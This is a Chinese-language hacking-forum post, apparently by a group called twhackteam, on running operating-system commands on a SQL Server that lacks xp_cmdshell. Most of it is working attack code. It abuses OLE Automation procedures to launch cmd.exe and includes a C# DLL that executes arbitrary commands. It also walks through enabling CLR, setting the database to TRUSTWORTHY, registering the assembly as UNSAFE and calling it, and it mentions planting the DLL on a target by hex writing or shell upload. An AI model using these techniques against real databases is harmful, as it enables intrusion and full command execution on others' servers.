sql server沒xp_cmdshell執行指令

twhackteam · 星期五，上午 2:53

利用COM執行指令

（需要開啟Ole Automation Procedures元件）

declare @luan int,@exec int,@text int,@str varchar(8000 ); exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output; exec sp_oamethod @luan,'exec' ,@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'; exec sp_oamethod @exec, 'StdOut', @text out; exec sp_oamethod @text, 'readall', @str out; select @str;

沒有開啟Ole Automation Procedures，可以用下面的指令開啟

sp_configure 'show advanced options', 1; GO RECONFIGURE; GO sp_configure 'Ole Automation Procedures', 1; GO RECONFIGURE; GO 

寫作語言：C#
Vs建立類別庫

using System; using System.Collections.Generic; using System.Linq; using System.Text; using System; using System.Threading.Tasks; namespace shellexec { public class exec { public static string cmd (string command) { System.Diagnostics.Process pro = new System.Diagnostics.Process(); pro.StartInfo.FileName = "cmd.exe"; pro.StartInfo.UseShellExecute = false; pro.StartInfo.RedirectStandardError = true; //標準錯誤 pro.StartInfo.RedirectStandardInput = true; //標準輸入 pro.StartInfo.RedirectStandardOutput = true; //標準輸出 pro.StartInfo.CreateNoWindow = true; //是否在新視窗開啟進程 pro.Start(); pro.StandardInput.WriteLine(command + "&&exit"); //指令參數寫入 pro.StandardInput.AutoFlush = true ; //緩衝區自動刷新 string output = pro.StandardOutput.ReadToEnd(); //讀取執行結果 pro.WaitForExit(); //等待執行完成退出 pro.Close(); return output.ToString(); } } } 

產生dll後，可以用hex的方法寫到目標，或是shell上傳。然後開始建構
1.目標資料庫實例需要啟用clr整合

exec sp_configure 'clr enabled',1;--在SQL Server中啟用CLR reconfigure; go 

2.目標資料庫的可信任屬性需要設為false,可以使用以下語句啟用

ALTER DATABASE [<資料庫名稱>] SET TRUSTWORTHY ON 

3.在資料庫中註冊DLL

CREATE ASSEMBLY MySqlCLR FROM '<dll的路徑>' //MySqlCLR為導入dll後的變數為導入dll後的變數為導入dll後的變數名稱 

4.建立函數
（根據對應函數的類型的參數建構對應的參數類型，然後RETURNS [nvarchar] (max)記得設定為傳回最大如果是回傳string類型的話），在直接這個dll的名稱在那個命名空間、類別、函數）

CREATE FUNCTION [dbo].[cmd2] ( @cmd AS NVARCHAR(max) ) RETURNS [nvarchar] (max) WITH EXECUTE AS CALLER AS EXTERNAL NAME [MySqlCLR].[shellexec.exec].cmd //shellexec為命名空間，exec為類別名，cmd為函數名稱 GO 

5.組件的權限等級必須設為external access,否則在部署的時候會報錯

ALTER ASSEMBLY [MySqlCLR] WITH PERMISSION_SET = UNSAFE 

6.呼叫預存程序和函數方法

select [dbo].[cmd2]('whoami')

sql server沒xp_cmdshell執行指令

twhackteam

Administrator

利用COM執行指令​

利用COM執行指令